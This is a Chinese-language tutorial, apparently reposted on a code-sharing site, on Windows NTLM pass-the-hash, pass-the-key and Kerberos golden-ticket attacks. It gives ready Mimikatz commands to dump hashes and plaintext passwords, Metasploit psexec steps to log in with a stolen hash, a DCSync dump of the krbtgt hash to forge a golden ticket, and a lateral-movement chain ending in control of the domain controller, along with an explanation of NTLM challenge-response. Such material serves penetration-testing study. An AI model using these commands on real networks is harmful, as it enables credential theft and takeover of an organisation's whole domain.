Windows NTLM Hash和Hash傳遞、Key傳遞攻擊


Hash(Key) 獲取


  • 工具: Mimikatz
  • 用法:
.\mimikatz.exe
privilege::debug #查看權限 sekurlsa::logonpasswords #獲取hash和明文密碼(如果可以的話) sekurlsa::ekeys #獲取kerberos加密憑證 


Hash(Key)傳遞


Mimikatz

sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx #hash傳遞 sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx #key傳遞 

Metaspolit

傳遞Hash

msf> use windows/smb/psexec msf exploit(windows/smb/psexec)>set rhost a.b.c.d msf exploit(windows/smb/psexec)>set rport 445 (139會更好一點) msf exploit(windows/smb/psexec)>set smbuser xxxx msf exploit(windows/smb/psexec)>set smbpass hashdump中的hash msf exploit(windows/smb/psexec)>set domain xxxx msf exploit(windows/smb/psexec)>exploit 

Windows NTLM哈希傳遞和票據的原理


Windows驗證的流程

  • 1.首先用戶在客戶端輸入username、password、domain,然后客戶端會先將用戶輸入的password進行hash計算並保存在本地;
  • 2.客戶端將username明文傳輸到域控機
  • 3.然后域控會隨機生成16字節的challenge挑戰碼返回給客戶端
  • 4.客戶端接收到challenge之后,會用之前password的hash進行加密(稱為response),和challenge、username一起發送給服務器
  • 5.服務端將客戶端發來的信息轉發給域控
  • 6.域控在接收到服務端發來的response、challenge、username,會拿着username在自己的活動目錄數據庫(ntds.dit)中查詢出對應的password hash,並對challenage進行一次加密,如果和用戶發來的response相同則身份驗證成功,否則則失敗。

kerberos協議認證原理

請參考我的博文Kerberos認證協議分析

Hash的利用方式

NTLM驗證靠HASH值,Kerberos靠票據(TICKET),在這里hash是可以傳遞的,使用hash可以直接登錄系統,滲透方式如下:

  • 1.獲得一台域主機的權限
  • 2.Dump內存獲得用戶hash
  • 3.通過pass the hash嘗試登錄其他主機
  • 4.繼續搜集hash並嘗試遠程登錄
  • 5.直到獲得域管理員賬戶hash,登錄域控,最終成功控制整個域

引用:

但是在安裝了KB2871997補丁或者系統版本大於windows server 2012時,系統的內存中就不再保存明文的密碼(ps:可以通過在注冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest中新建鍵值來使下次管理員登陸后明文保存密碼,但是效率太低,不推薦),且禁止本地管理員賬戶用於遠程連接,這樣就無法以本地管理員用戶的權限執行wmi、PSEXEC、schtasks、at和訪問文件共享,但是唯獨默認的 Administrator (SID 500)賬號例外,依然可以通過這個賬號進行pass the hash進行攻擊 

票據的利用方式

kerberos有兩種平票據:一種是silver ticket,有賬號hash加密,可以訪問特定的服務;另外一種是golden ticket,可以訪問域內所有服務;這個黃金票據是用kerberos賬戶的hash生成的,我們來看下操作:

# 1 首先我們要抓取kerboers的hash lsadump::dcsync /domain:xxx.xxxxx /user:krbtgt # 2 生成票據 kerberos::purge kerberos::golden /admin:administrator /domain:xxx.xxxx /sid:SID /krbtgt:hash值 /ticket:administrator.kiribi # 3 獲取權限 kerberos::ptt administrator.kiribi kerberos::tgt


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM